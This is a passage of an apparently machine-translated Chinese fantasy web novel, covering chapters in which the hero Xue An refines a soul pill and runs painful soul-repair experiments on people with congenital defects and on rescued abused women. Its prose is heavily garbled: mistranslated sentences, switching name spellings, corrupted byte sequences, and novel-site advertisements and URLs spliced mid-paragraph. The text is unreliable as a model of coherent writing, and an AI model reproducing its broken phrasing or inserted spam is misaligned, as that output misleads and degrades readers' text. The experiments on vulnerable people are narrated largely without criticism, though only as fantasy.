    Xue An nodded, "I understand, please continue!"


    "So I became interested in human souls. I want to know how they appear and how they work, and why the combination of several completely different gases can form a wonderful consciousness, and have joy, anger, sorrow, and joy. !"


    "Then did you succeed?" Xue An asked.


    Zha Wenliang smiled bitterly, "No! I have spent at least a hundred years, but in the end nothing was achieved. I have even analyzed the human soul to its most basic state, and still can''t discover its secrets!"


    Xue An did not speak, but listened quietly.


    As for Ao Shu and Yue Qinghuan, they were already stupid.


    Cha Wenliang went on to say: "This is a big blow to me, because nothing can hardly hold me, until this time, I really failed!"


    "But just when I was about to give up, an extremely accidental event made me suddenly have an idea. Since I can''t explore the ultimate mystery of the soul, why not go the other way and find it by making the soul. The key to all this?"


    "This idea made me tremble, and I acted immediately. As a result, in the first few years, my progress was gratifying, and I quickly produced this experimental product!"


    Speaking of this, a proud look appeared on Zha Wenliang''s face, "This should be the most successful soul-level improvement in the history of the heavens and even the heavens you are in!"


    "Of course I was simply ecstatic, thinking that the dawn of victory was ahead, but I never expected that after the success of this test article, I was in a long dilemma, and I never saved the slightest! "


    "The most critical problem is that I can''t let the wit of this test article go further."


    "I have used countless methods and failed. In the end, I decided to start with the pill. It turned out that it is extremely difficult to refine the pill that I need. Even me. Incompetent, that''s why the big bang you have seen!"


    These remarks seemed to have been held in Cha Wenliang''s heart for a long time, and this time he poured them out of his head with a nearly cathartic attitude.


    After speaking, Cha Wenliang''s expression gradually returned to calm, and his anger was restored again, "Okay, the answers you want are all here, is there anything else you want to say?"


    Xue An smiled, "No more!"


    "Since there isn''t, then you go. For Ao Shu''s face, I don''t embarrass you, but you don''t want to appear in front of me again!"


    Said that Cha Wenliang turned and left.


    But at this moment, a calm voice directly nailed him in place.


    "What if I can help you refine the pill you want?"


    Cha Wenliang suddenly looked back, looked at Xue An with a calm face, and asked in surprise: "What did you say?"


    Xue An shrugged, "Isn''t what I said is not clear enough? If I can help you refine the pill you need, how should you thank me?"


    The brilliance in Cha Wenliang''s eyes flickered, there were surprises and surprises, but more doubts.


    That''s right!


    Just doubt!


    You must know that the pill that Zha Wenliang wanted to refine was never seen in any pill book pharmacopoeia, and the difficulty was so high that he failed repeatedly.


    But this young man kept saying that he could help himself.


    How could this convince Cha Wenliang.


    Xue An seemed to be aware of Cha Wenliang''s suspicion, and Xue An smiled faintly.


    "I know you don''t believe it, but do you think I would make a joke with such an important thing?"


    "Why not, I can refine a pot of pill for you now, how about you see what it looks like before you decide?"


    Looking at Xue An, who was confident, Cha Wenliang was quite moved.


    To be honest, he is really going crazy by this pill refining career that explodes every day.


    If this Xue An can really help herself, that would be great!


    With the idea of ??a dead horse being a living horse doctor, Cha Wenliang nodded.


    "Okay, then I''ll let you try it!"


    In Cha Wenliang''s warehouse, besides medicinal materials, the most are all kinds of pill furnaces.


    In fact, this kind of equipment that may be used by ordinary pharmacists for a lifetime has become a daily consumable in the hands of Cha Wenliang!


    "The pill furnace here, you choose whatever you want!" Cha Wenliang said.


    There is a hint of pride in the tone.


    Because there are not only a large number of pill furnaces, but also high quality.


    Many of them are Lingbao-level existences.


    But Xue An did not choose those glorious pill furnaces. Com fumbled around instead.


    Suddenly.


    He stopped, then knelt down and looked at a gray pill furnace placed in the corner.


    "I advise you to better not choose this, because I got this pill furnace by chance. The function is extremely simple. It doesn''t even have the most basic fire control. The most important thing is the general fire fundamentals. It can''t be burned through, so I only used it once and threw it here!" Chawen reminded me kindly.


    Xue An just smiled when he heard the words, and then stretched out his hand to gently stroke the surface of the pill furnace.


    The warm and cool touch made him raise his eyebrows slightly, and then said softly: "That''s it!"


    Cha Wenliang curled his lips and stopped talking.


    The pill furnace was pulled out of the corner, and after cleaning it, it was moved to the high platform.


    "This furnace, what do you want to refine?" Xue An asked.


    Cha Wenliang pondered for a moment, "What makes you refining too difficult is to bully you, but it is too simple and boring. Why not do this? You can refining a soul-changing pill!"


    Xue An didn''t hesitate, nodded directly, "Okay!"


    Then he stretched out his hand.


    "What do you mean?" Cha Wenliang was puzzled.


    "Where''s Dan Fang?"


    Zha Wenliang opened his eyes wide, "Co-worker, you haven''t refined this soul-changing pill before, but you are learning now?"


    "What? Is there a problem?"


    Cha Wenliang was speechless, he suddenly felt that this test was just a joke.


    Because no matter how powerful an alchemy master wants to refine a pot of pill that he has never touched before, it takes at least a year to get acquainted.


    But this Xue An was good, and he was embracing the Buddha''s feet temporarily and now learning pill.


    Isn''t this the tale of sliding the world?


    Please remember our website: Cool Notes Novels () Invincible, the fastest update rate starts from Daddy Xianzun.

 Chapter 2324： Yu Jian Dan Fang

    But the matter was over, this Cha Wenliang had no choice but to pinch his nose and threw a jade slip pill over it.


    Xue Anshun took it with his hand, and then looked at it with his spiritual sense.


    After only a moment, Xue An nodded.


    "Okay! Prepare medicinal materials!"


    Zha Wenliang opened his eyes wide, and asked in disbelief, "Have you read it all in such a short time?"


    "of course!"


    Cha Wenliang still couldn''t believe it.


    It is necessary to know that the higher the level of pill, the more troublesome it is to refine, and even the length of the fire control alone has to be tens of thousands of words.


    Therefore, if an average alchemist wants to refine a new pill, it will take at least a month to get acquainted with the prescription.


    How could it be like Xue An, who said he had finished reading even half a cup of tea in his hand.


    Soon he sneered and said: "Well, since you are so confident, then I will give you a chance to try it, but the shame is the front. If you fail, don''t blame me for being polite! You will not only have to compensate me for this." A furnace of medicinal material money, I have to get out of Luoshengu!"


    Xue An smiled faintly, "No problem!"


    "Huh! Ao Shu, prepare the medicinal materials needed for him!" Zha Wenliang gave an order and turned and left.


    Ao Shu brought various medicinal materials to the high platform as instructed, and then whispered with a worried face: "Brother An, are you really confident?"


    "Don''t worry, don''t you worry about what I do?"


    "But your time is too short, do you really remember it?"


    Xue An smiled without saying a word. Sacrifice as xindingdianxsw.net


    In fact, all the contents on the Jade Slip Pill had already been engraved in his heart under the influence of his powerful spirit.


    When all the required medicinal materials were prepared, Xue An''s face was solemn.


    "Get up!"


    With an order, dozens of furnace-opening medicinal materials flew into the furnace in the order of the pills.


    Click!


    When the last medicinal material flew into it, the lid of the pill furnace was instantly closed, and then Xue An nodded his hand.


    boom!


    A raging flame blazed under the pill furnace.


    The flame is pure white, even if it is far away, you can still feel the scorching heat wave.


    Cha Wenliang''s expression changed, "This flame..."


    At the same time, seeing Xue An repeatedly point and point, the flames rose higher and higher, and the entire pill furnace was wrapped in the blink of an eye.


    Faintly, one could even see the gray pill furnace inside rapidly turning red.


    Cha Wenliang''s complexion became serious.


    He really didn''t expect Xue An to have such a powerful flame.


    But the flame is not enough.


    Because alchemy is an extremely delicate activity, a slight difference in the temperature of the flame may lead to the use of all previous efforts.


    Looking at the current state of the pill furnace, the fire was obviously too big.


    This is almost doomed Xue An''s start is doomed to fail.


    Therefore, Zha Wenliang shook his head slightly, thinking that there was no need to watch.


    But at this moment, Xue An suddenly shouted, "Get up again!"


    The voice just fell, but after the opening ceremony of the furnace, the various medicinal materials rose into the air, and the lid of the pill furnace was also opened.


    The strong medicinal fragrance spread instantly.


    Cha Wenliang''s spirit was lifted, and there was a look of horror in his eyes.


    How can it be!


    This medicinal fragrance is clearly a sign of the successful opening of the furnace!


    But how long has this time passed? How could it be successful without even a cup of tea?


    Just when Cha Wenliang was puzzled, he saw that the various medicinal materials began to fly into the pill furnace in a very orderly manner.


    Cha Wenliang raised his spirits and watched carefully.


    Because he knows that the most critical time has come.


    Because the properties of each medicinal material are different, the fire conditions when they enter the furnace are also different, which requires the alchemist to have a strong fire control ability.


    Otherwise, all previous efforts will be lost.


    In fact, the reason why Cha Wenliang exploded while refining that furnace of medicine was because of the lack of heat.


    But then a scene that made him dumbfounded happened.


    With every kind of medicinal material entering the furnace, the flame under the pill furnace will produce various subtle changes.


    And the medicinal fragrance became more and more intense.


    Cha Wenliang has been famous for thousands of years of medicine, and he is deeply immersed in alchemy. He still didn''t expect to have such incredible fire control skills.


    Not only that, Xue An, who was in control of the pill furnace, turned his head to check Wen Liang and smiled with ease.


    "I think the process on the Jade Simplified Pill Recipe seems a bit too complicated, so I want to streamline it and improve it, okay!"


    Cha Wenliang: "..."


    "Well, whatever you want to toss, but I still want to tell you, if you fail to practice this soul-changing pill in the end, you will be at your own risk!"


    "understand!"


    With the voice, Xue An suddenly speeded up.


    Various medicinal materials flew into the pill furnace like an assembly line, and in the blink of an eye, under the burning of the flame, various medicinal properties were stimulated, and various illusions were even evolved over the pill furnace.


    The medicinal fragrance also became more and more intense, and the appearance of this state generally means that the pill is half-achieved. BX��W*X����


    And from the beginning of Xue An to the present, there is no half an hour in total. This speed can no longer be described as fast, it is simply shocking.


    really.


    Just an hour later, there was a loud noise in the pill furnace, and then a burst of extremely rich aroma filled the air. Uukanshu.com does not have a brilliant brilliance soaring into the sky.


    "Open the stove!" Xue An sighed.


    Rumble!


    The lid of the pill furnace flew directly, and then a few crystal clear stars-like brilliance flew out of it, and tried to escape.


    But Xue An grabbed it casually, and the powerful suction restrained these points of brilliance, causing it to fly into his own hands.


    In an instant, the brilliance converged, and the vision dissipated.


    Xue An rushed to Wen Liang and smiled, "Dan Cheng!"


    With that, Xue An threw the pill over.


    Cha Wenliang was taken aback, hurriedly reached out and caught it, and then took a closer look in front of him, and his eyes lit up.


    The whole body of this pill exudes a strong aura, and there is a faint trace of inexplicable rules in it, which is obviously not a common product.


    Just a look at Wenliang can conclude that the quality of this soul-changing pill is far superior to the soul-changing pill he has refined before.


    After studying carefully for a while, Cha Wenliang''s complexion changed from cloudy to sunny, and he nodded, "Okay!"


    Then he raised his head and said to Xue An, "Your alchemy skills are indeed better than mine. I also believe that you can help me, but what is your purpose?"


    Xue An smiled, "It''s actually very simple, I want you to save someone!"


    "Oh? You mean that person from the Yue family?" Cha Wenliang pointed to Yue Qinghuan in the distance, and asked in a deep voice. Mi He Mi


    "Yes!"


    Zha Wenliang shook his head, "It''s not that the Yue family didn''t beg me before, but I didn''t make a move. Do you know why?"


    "why?"


    "Because the injury that Yue Shifang suffered is far from being as simple as it seems, even I can''t help it!"


    I like Invincible, starting from Dad of Xianzun, please collect it: () Invincible, starting from Dad of Xianzun, the update speed is the fastest.

 Chapter 2325： 2 female reproduce

    As soon as this remark came out, Yue Qinghuan''s complexion instantly turned pale.


    Because if even the Ghost Needle genius Doctor Wenliang couldn''t heal his brother''s injury, then there would be no one in the entire sky to save him.


    Is it true that my elder brother will continue to suffer like this in the reincarnation of soldiers?


    Yue Qinghuan''s nose was sour, and he almost shed tears.


    But at this moment, Xue An chuckled, "It was then, now is now, I think with my help, you should be able to do it!"


    Zha Wenliang looked at Xue An with a smile on his face meaningfully, and finally nodded, "Well, if that''s the case, then the matter is settled!"


    After that, Cha Wenliang turned around and left the backyard.


    Xue An walked off the platform and came to the two of Yue Qinghuan.


    Yue Qinghuan was a little dazed, "He really agreed?"


    "Well, I promised!"


    Yue Qing cried with joy, and then looked at Xue An seriously, "Xue An, thank you!"


    Xue An smiled and shook his head, "You are polite, but if you want to save your brother, you have to wait a while!"


    "How long do you have to wait?"


    "At least it won''t be possible until there is another major breakthrough in his research!"


    On the side, Ao Shu asked in amazement: "Brother Ang, why wait for a breakthrough in Master''s research before I can save people?"


    "Because... the injury he suffered is from the soul level!" Xue An said lightly.


    Sacrifice such as 9duxs.com. Yue Qinghuan trembled all over, then lowered his head and stopped talking.


    Decrease bxwx.cO����. Ao Shu naturally didn''t understand this, and she suddenly said with excitement at this moment.


    "Brother Ang, you told me to meet two little girls before, where are they now?"


    Xue An did not decline either.


    Because it''s really been a long time since the two little girls came out to breathe.


    In fact, a long time ago, the two little girls communicated with Xue An through divine minds more than once and wanted to come out, but at that time Xue An had not yet stood firm in the sky.


    To be safe, Xue An did not agree.


    But now it is different. This Falling God Valley is obviously a very safe place.


    Although Cha Wenliang had a weird temper, he was not a bad person, so Xue An opened the Fubao Xiaolou after hearing Ao Shu''s request, letting An Yan come out with thoughts and thoughts to relax.


    In an instant, the field became lively.


    The two little girls who hadn''t appeared for a while now grew a bit taller, and An Yan''s discipline and influence have made their behaviors fade away from a bit of childishness.


    But children are children after all, especially when they have been holding back in the Fubao Xiaolou for so long, once they come out, they are almost like birds out of the cage, cheering and cheering.


    "Dad, if you don''t let us show up again, I guess many people will soon forget us!" Nian Nian blinked her eyes and said very seriously.


    Xue An squeezed her face, "How could you forget you two little girls?"


    "Huh! Squeeze her face again, she is a lady!" Nian Nian pouted and stepped back.


    And Ao Shu on the side looked at the two little girls who looked exactly the same, as if they had seen the New World, his eyes gleamed with excitement.


    "Wow, two beautiful little girls!"


    At this time, Thinking and Niannian also noticed Ao Shu, because the aura on her body was very similar to Xiaosha, so both of them tilted their heads to look at Ao Shu.


    "You... how come your breath is the same as Xiaosha, are you also a dragon?"


    "Yup!"


    Ao Shu squatted down, grabbing the hands of the two little girls, and refused to let go.


    I don''t know what''s going on, maybe I miss Xiaosha, so the two little girls are very close to Ao Shu, who belongs to the dragon clan.


    The three of them chatted quickly.


    Xue An smiled when he saw it, and then rushed to An Yan and said: "During this time, we will live in the valley temporarily, and you will help me refine the pill together!"


    "Good!" An Yan nodded calmly.


    The grass house, which had been silent for a long time, became lively because of the appearance of two little girls.


    At the beginning, Ao Shu was a little uneasy, because she knew that Master usually likes to be clean, and this kind of hustle and bustle would be troublesome if he angered him.


    What''s strange is that after seeing the two little girls, Cha Wenliang was not angry, but muttered a big call with bright eyes.


    "What a strong talent and a far-reaching life, the future of these two girls is simply limitless!"


    Xue An just smiled at this, but An Yan asked curiously: "Master, do you still tell the fortune?"


    Cha Wenliang was very satisfied with the title of master, and could not help but nodded and smiled: "Doctors are not divided into families, so I know a little about these!"


    But his superior demeanor did not last long.


    Because after the initial strangeness, the two little girls found that this was not tall, with a long beard, and the dirty "Grandpa" turned out to be not very uncomfortable.


    So the two little girls began to play around Cha Wenliang.


    Not only that, the questioning of the souls of the two little girls is even more laughable.


    "Grandpa, why is your beard so long?"


    "I''m not a grandfather, my age is not that old! As for the beard, don''t you think this is so handsome?" Cha Wenliang said with a long beard, UU reading very contentedly.


    The two little girls shook their heads together, "I didn''t think."


    Cha Wenliang suddenly became very embarrassed.


    Then Niannian asked, "Grandpa, why don''t you wash your clothes so dirty? Did no one wash it for you? Don''t you have a wife? Does your wife stop following you because you are too dirty? "


    Cha Wenliang: "..."


    "I said, I''m not a grandfather, and I don''t have a wife because a woman will only affect the progress of my research, it''s not that I don''t want to find it!"


    "Oh! So that''s it!" Nian Nian nodded.


    "you got it!"


    But when I thought about it, I suddenly said to death, "Sister, in fact, many people who say this are because they can''t find a wife, so they come up with excuses!"


    The air suddenly fell silent, and Ao Shu was so scared that his hair stood up.


    But Zha Wenliang only twitched his eyelids a few times, and finally turned and left helplessly.


    "Grandpa, don''t leave, we didn''t mean to say that to you!" The two little girls also felt that they were a bit too much, and hurriedly shouted.


    Cha Wenliang staggered, almost fell to the ground, and then fled.


    Ao Shu looked at his master''s back in amazement. He didn''t understand why he was not angry this time because of his always hot temper.


    However, when she looked at the two little girls who were powdered and jade-shaped, she suddenly understood a little bit.


    Mi He Mi. Who can withstand the offensive of such a cute little girl?


    Especially two!


    And just after the Caolu became lively, Xue An was carefully reading the notes that Zha Wenliang had thrown him.


    I like Invincible, starting from Dad of Xianzun, please collect it: () Invincible, starting from Dad of Xianzun, the update speed is the fastest.

 Chapter 2326： Mend the soul

    All the notes in this notebook contain information about soul research.


    And unlike Cha Wenliang''s weird and violent temper, this note is extremely informative and rigorous, and will be supplemented by various fine illustrations and detailed test cases at key points.


    Xue An was a little fascinated by it before he knew it.


    At this moment, Cha Wenliang stepped in.


    Seeing this, An Yan nodded slightly, and then exited the room.


    Until then, Xue An didn''t even notice the arrival of Cha Wenliang.


    Cha Wenliang didn''t urge, he just sat aside and waited quietly.


    It was not until a full hour later that Xue Anfang put down his notes and sighed slightly.


    "How is it?" Cha Wenliang asked.


    "Awesome!"


    "Of course, this should be the most true and detailed first-hand information about the soul of the entire Tianwaitian." Cha Wenliang said proudly.


    Xue An nodded, "It is true, but I feel that some of the ideas in it can be improved!"


    "Oh? Where?" Cha Wenliang became interested.


    You should know that he has deduced all the ideas he can think of over the years, and he thinks that this path is the most suitable right now, and there is no room for improvement.


    But he didn''t expect Xue An to find out the shortcomings only after watching for an hour.


    He couldn''t help but be a little skeptical.


    "First of all, here, I think your starting point for experimenting with the soul of a wicked person is a good one. It can prevent the innocent from being mutilated, but this will cause a problem!


    Decrease bXwX ��. "what is the problem?"


    "Such wicked people are often extremely cunning, which means that their IQ may be higher than that of ordinary people, so this also leads to greater resistance when you dismantle their souls!"


    Cha Wenliang slapped his thigh, "Yes, I also found this problem, but is there any good solution? I can''t stretch my hand to those innocent ordinary people!"


    Xue An smiled, "Of course you can''t hurt the innocent!"


    "What do you do then?" Cha Wenliang frowned.


    "It''s very simple. You must know that human souls are not all born intact. Some people with five disadvantages and three lacks often have one kind of lack in their souls, and you can use your own understanding of the soul to diagnose and treat them. Not only will there be no harm to the heavens, but also a deeper understanding of the soul. Wouldn''t it kill two birds with one stone?"


    "Yeah! Why didn''t I expect it!" After hearing Xue An''s words, Cha Wenliang slapped his thigh with excitement, then hurriedly stood up and walked out.


    But after walking a few steps, he stopped, wondering: "Where can I find so many people with incomplete souls?"


    Xue An smiled, "Well, I think your apprentice must have a way!"


    "Ao Shu?"


    "Yes!"


    "What can she do?" Cha Wenliang didn''t believe it.


    In his eyes, Ao Shu is an ordinary dragon girl, and he saved her only out of the desire to find a unique tester.


    After all, dragons and humans have very different body structures, and medicines that are effective on humans may have no effect on dragons.


    And this difference is exactly what Cha Wenliang wants to study.


    Only after bringing her back, Cha Wenliang discovered that this Ao Shu was actually very smart and had a very "bumpy" love history.


    Cha Wenliang couldn''t help but moved his compassion, so he accepted him as a disciple.


    Therefore, in Cha Wenliang''s impression until now, this Ao Shu is just an ordinary girl.


    This impression collapsed when Xue An called Ao Shu to the front and asked carefully.


    I saw Ao Shu patted his chest and said, "Don''t worry, just leave this small matter to me, and promise to do it!"


    Cha Wenliang was a little silly and couldn''t help but ask: "How do you do it?"


    Ao Shu chuckled, "Master, you may not know it, you have been obsessed with research for a while, so I started a Qinglong Gang when I was bored!"


    "Have you noticed that fewer people have come to seek medical treatment recently?"


    Sacrifice such as miaobifang.com sacrifice such as. Cha Wenliang nodded thoughtfully, "It''s really true, it''s really much less!"


    "That''s all my credit. The Azure Dragon Gang that I founded monopolizes the entire Luoshen Valley. If you want to enter, you must register. This will not only increase your income, but also prevent some people from entering!"


    Cha Wenliang didn''t even know about this, and couldn''t help being a little confused.


    And Ao Shu talked eloquently, "Later, I felt that it was too desolate for us to fall into the God Valley. A lot of space was wasted, so I developed it and took in many homeless fairies and humans. , Help us take care of it."


    "Now the whole Luoshen Valley has changed drastically. The output of the medicine field alone is enough for your daily needs!"


    Ao Shu combed his fingers one by one, while Zha Wenliang could hear it in the mist.


    As a master of medicine, he can be said to be deeply immersed in medicine, but he is completely ignorant of these chores.


    But soon he left these behind and said very seriously: "Then can you really find people with these five disadvantages and three shortcomings?"


    "No problem The Azure Dragon helpers I surrendered are best at these!" Ao Shu said complacently.


    "Ahem..." Xue An coughed slightly at this moment, and then said a little embarrassingly.


    "I forgot to tell you something. All of your men outside were killed by me!"


    Ao Shu: "..."


    But in the end she agreed to the matter, because as the "gang leader" who created the Azure Dragon Gang, although all of them died, the connections were still there.


    Therefore, under her full operation, a message was quickly spread in the star field around the Valley of Fallen God.


    Falling God Valley is looking for people who are born with missing souls at a great price, and have the opportunity to heal them.


    The news spread like wildfire, and soon aroused people''s enthusiasm.


    Although there are not many people who are born with mutilated souls, they can''t hold on to a large base, and such people often become a heavy burden on their families.


    Now I heard that the genius doctor of Luoshengu was looking for these people and had the opportunity to heal them. These family members were naturally ecstatic and took the initiative to send them to the door.


    Mi He Mi. Of course, more people are still greedy for the bounty offered by God Valley, but no matter what, the people with five shortcomings and three shortcomings from all sides quickly met the needs of the experiment.


    Although some people criticized during this process and believed that Luo Shengu must have done this for another purpose, but for Cha Wenliang, nothing is important for his own research.


    As for the voices of the outside world, he dismissed it at all.


    Soon, everything was ready, and Cha Wenliang and Xue An immediately devoted themselves to the research.


    I like Invincible, starting from Dad of Xianzun, please collect it: () Invincible, starting from Dad of Xianzun, the update speed is the fastest.

 Chapter 2327： Outrageous

    A hazy mist was driven by Xue An into the eyebrows of a dumb man.


    Suddenly, the man was shocked, and his face appeared painful.


    Xue An immediately released his spiritual thoughts to help this person fuse the mist.


    It''s a pity that the man''s mouth and nose began to bleed out of the man''s mouth and nose, and the luster in his eyes quickly dimmed.


    Xue An quickly released the control, and the mist floated out of the man''s eyebrows again, and then his expression returned to his foolish state.


    "Failed again!" Cha Wenliang said without emotion.


    "But this time at least ten seconds longer than before!" Xue An said.


    Cha Wenliang shook his head, "It''s useless. With the current progress of fusion, it takes at least three more minutes before the recipient can hope to succeed, but this kind of pain is almost devastating, and the general soul strength is simply unbearable!"


    Xue An was silent.


    Because he knew that what Cha Wenliang said was the truth.


    Seeing that the mouth and nose were still dripping with blood, but there was still a silly smile on the face, Xue An fell into contemplation.


    This is the tenth day since they started the experiment.


    But unlike what they had expected, they seemed to be stuck in a difficult bottleneck.


    All as Cha Wenliang said, this kind of soul-level operation is destined to be accompanied by unbearable pain.


    The average soul lasts at most for half a minute, and no matter how long it takes, it will show an irreversible collapse.


    But no matter how Xue An and Zha Wenliang changed their test methods, they couldn''t speed up this fusion speed to less than half a minute.


    And if this experiment is unsuccessful, they will not be able to obtain the key data about the soul. Without this data, there is no way to refine the pill to replenish the soul.


    The whole experiment is one after another, so even though Xue An is also very anxious, he can only patiently improve his operation technique little by little.


    But the repeated failures every day still made him feel a little discouraged.


    Cha Wenliang seemed to have noticed this, and said solemnly, "Why don''t you take a break!"


    Xue An shook his head, "No need!"


    Then he looked at Zha Wenliang curiously, "With your personality, there is no irritability at this time, it''s a miracle!"


    Cha Wenliang laughed.


    After a few days of getting along, the two of them had nothing to talk about, so facing Xue An''s questioning, he just smiled.


    "Am I a moody tyrant in your eyes?"


    "Is not it?"


    "Hehe, what I hate is the meaningless hypocrisy, but I will never be angry with the failure of research, because no success is based on countless failures!"


    "Being able to fail, at least shows that we are heading for success."


    Seeing Cha Wenliang with both eyes shining, Xue An suddenly felt that the little discouragement before was also swept away.


    "Then we continue?"


    "carry on!"


    But when the two of them were about to continue the experiment, they found that all the receptors were used up.


    Of course, the exhaustion mentioned here does not mean that these people who are born with missing souls are dead.


    It''s just that they have all gone through an experiment, and practice has proved that they can''t bear more than half a minute of fusion, and it''s just a waste of time to experiment.


    Cha Wenliang frowned, "What''s the matter? Didn''t Ao Shu say that it can solve the problem of the test recipient? Why did you cut off the donation?"


    Xue An smiled bitterly, "Maybe it''s because we are experimenting too fast!"


    Cha Wenliang stopped speaking.


    Yup!


    Because Xue Anna can be called the pinnacle of divine mind control, their test speed can be said to be a jaw-dropping speed.


    Dozens of them can be easily completed every day.


    At such a terrifying rate of consumption, it is reasonable for the recipient to cut off the donation.


    "No, I have to go to Ao Shu, it won''t work to waste time like this."


    Just when Cha Wenliang got up to find his apprentice, he heard Ao Shu''s voice from outside.


    "Master, there is no need to look for it, I have already come!"


    With that, Ao Shu walked into the room with a tired face.


    "How is it? Are there any new receptors?" Cha Wenliang asked immediately.


    Ao Shu smiled, "How can I go home empty-handed!"


    As she said, she saw several women filed in behind her.


    These women''s clothes are worn and dull, and they are described as sluggish, and their eyes are full of panic. Especially when they see Xue An and Cha Wenliang, they are like frightened little beasts, trembling all over.


    "Don''t be afraid, they are not bad guys!" Ao Shu said softly.


    Sacrifice such as xindingdianxsw.net sacrifice such as. Hearing her relief, these women gradually stopped shaking.


    "Are these the receptors you brought? Just a few?" Cha Wenliang asked with a frown.


    Ao Shu nodded, "This time just these few, because I met them by chance on the road, so I brought them back!"


    At this moment, Xue An suddenly stepped forward and said softly: "Don''t be afraid, I won''t hurt you!"


    As he said, he reached out and grabbed a woman''s arm, and pulled her sleeve up.


    The woman was so scared that she screamed again and again, and murmured in her mouth: "No...Don''t fight!"


    After seeing the skin under the sleeves, Xue An''s eyes burned with raging anger. UU reading


    Because just on the skinny arm, there are criss-crossing scars everywhere.


    There are new wounds and old wounds, layered on top of each other, forming shocking scars, and the skin is no longer visible.


    At this moment, An Yan who walked in afterwards also said with a grim face: "These girls are all hurt like this!"


    ���]��. Xue An took a deep breath, "Who did it?"


    Ao Shu said: "It was done by a gang not far from here!"


    "What''s the result?" Xue An asked in a deep voice.


    Ao Shu licked his lips, "It''s all dead!"


    An Yan added: "Yes, after saving these poor girls, those **** were killed by me and Ao Shu!"


    "Okay! Well done!"


    Cha Wenliang sighed a little regrettably, "You should have captured the souls of those guys back then. That''s great material!"


    Ao Shu scratched the back of his head embarrassedly, "Master, I''m sorry, I was too angry at the time, I didn''t think so much, and directly destroyed the souls of those bastards!"


    "Yes, it is an insult to the world to keep those **** who do such a heinous thing alive!" An Yan added.


    Mi He Mi. Xue An smiled, "Okay, you will die if you die! The most important thing now is to heal the injuries of these girls and then repair their souls!"


    Speaking of this, the three of them looked at Zha Wenliang together.


    Cha Wenliang laughed, "Isn''t it easy! Disciple, go get the golden needle as a teacher!"


    "Yes!" Ao Shu went immediately excitedly.


    I like Invincible, starting from Dad of Xianzun, please collect it: () Invincible, starting from Dad of Xianzun, the update speed is the fastest.

 Chapter 2328： Golden Needle Crossing

    Soon, Ao Shu ran over with a brocade box.


    "Master, here you are!"


    After Cha Wenliang opened it, there was a whole set of golden needles inside.


    This set of golden needles exudes thousands of light, and is surrounded by a huge amount of spiritual energy, which is obviously a rare treasure.


    Zha Wenliang twisted one of the golden needles that was no longer than a little finger, and stabbed it on the woman''s body casually.


    "Ah!" The woman let out a howl of pain.


    But soon, the majestic spiritual energy was quickly poured into her body along with this golden needle.


    Then, under the baptism of this spiritual energy, her injuries quickly healed at a speed visible to the naked eye.


    In the blink of an eye, the thick dead skin fell from her body, revealing a new, new skin.


    The seemingly extremely serious injury has recovered in this way.


    After that, Cha Wenliang followed suit, but within a short time, all the injuries on the remaining women were healed.


    It was only then that I could see the faces of these women. Without exception, they were all women with good descriptions and upper-middle looks.


    Unfortunately, because of the incomplete soul, everyone''s eyes looked dull.


    An Yan couldn''t help feeling a little uneasy, and whispered to Xue An, "Husband, these girls themselves are already very pitiful. The next experiment won''t hurt them!"


    Xue An smiled, "Don''t worry, this test will only help them return to their normal state, and will never hurt them!"


    An Yan was relieved now.


    "Starting?" Xue An rushed to Wen Liang and said.


    "let''s start!"


    As in the previous experiment, Xue An first separated enough weight from Cha Wenliang''s preserved soul energy with his own divine mind, and then poured it into the sea of ??consciousness of these women with the control power that could be called abnormal.���bX*wX*.C��o��


    The whole process can be described as extremely dangerous, and a little carelessness may destroy the appearance and spirit of these women.


    However, Xue An was able to deal with it easily and with ease.


    Even Cha Wenliang had to admit that even on the manipulation of divine minds, no one might be able to control the entire universe.


    Soon, Xue An said solemnly: "Okay, everything is ready, the next time will be the most painful moment of suffering!"


    Cha Wenliang nodded, held the golden needle, and said solemnly: "Then let''s start, I''m ready too!"


    Xue An took a deep breath and suddenly reminded him of his spirit.


    "Ahhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhh!"


    That is the violent pain caused by the spirit of the soul that is filling her birth defects.


    Ao Shu and An Yan couldn''t help but lift their hearts into their throats.


    Time passed by every second.


    In the blink of an eye, it came to this hurdle for half a minute.


    Almost all previous experiments stopped here.


    Therefore, even Cha Wenliang couldn''t help getting nervous, watching the woman intensively, and if something unexpected happened, he would immediately stop the experiment with a loud voice.


    Unexpectedly, even though the woman had been moaning in pain, her body didn''t react much violently.


    This shows that she is far from reaching her limit.


    This discovery couldn''t help making Cha Wenliang''s eyes shine, and he couldn''t help but yelled, "Xue An!"


    Xue An naturally understood what it meant. In fact, at this time, he also discovered that this woman was different from the previous test recipients.


    She obviously has greater tolerance for pain.


    This can''t help Xue An sigh secretly.


    There is only one explanation for this strong endurance, and that is that she has become accustomed to pain.


    It is conceivable that she lived in such a miserable situation before.


    One minute!


    One and a half minutes!


    Two minutes!


    Time just passed by one minute and one second, and the most critical tipping point was reached in the blink of an eye.


    As long as three minutes can be passed, then this test will have a very high probability of success.


    But at this moment, the woman''s mouth and nose began to bleed out.


    That was a sign that her body was on the verge of collapse. Sacrifice as tianlaixsw.com


    "Quick! She''s going to die soon!" Cha Wenliang said solemnly, and at the same time the golden needles were stabbed out again and again, trying to maintain the woman''s body.


    But no matter how the aura surging, it can''t instill a little bit into the woman''s body.


    Not only that, the woman''s skin also began to crack, and the blood dripped instantly, which was shocking.


    "Hurry up, stop, she is dying!" Cha Wenliang shouted.


    But Xue An didn''t listen to her. Instead of stopping, he suddenly increased the intensity of his spiritual thoughts by another order of magnitude.


    Click!


    There was a slight undetectable noise from the woman''s head, and then the scream stopped abruptly.


    The woman lowered her head and didn''t move anymore.


    The audience was quiet.


    Cha Wenliang looked angry, "Why didn''t you listen when I asked you to stop? It ended up killing her!"


    Xue An didn''t make any excuses, just condensed his mind and watched quietly.


    The woman sat there with her head down, motionless, like a dead body!


    An Yan, Ao Shu, and Yue Qinghuan, who hadn''t said a word, came closer.


    An Yan whispered: "Husband, is she... dead?"


    Xue An smiled and did not answer An Yan''s question directly, but instead asked, "Do you think I was a bit cruel just now?"


    An Yan did not speak, but sometimes silence often means acquiescence.


    Yue Qinghuan sighed softly, "I have encountered so many ups and downs, it is not a relief to die like this, otherwise once she returns to normal, she may not be able to face the unbearable experience!"


    Ao Shu also nodded, UU reading www.uukanshu. Com "Yes! So Brother Ang, you don''t have to be sad and blame yourself, this will be a relief for her!"


    "Why should I be sad? She is not dead!" Xue An smiled.


    "Not dead?" The three women were all surprised.


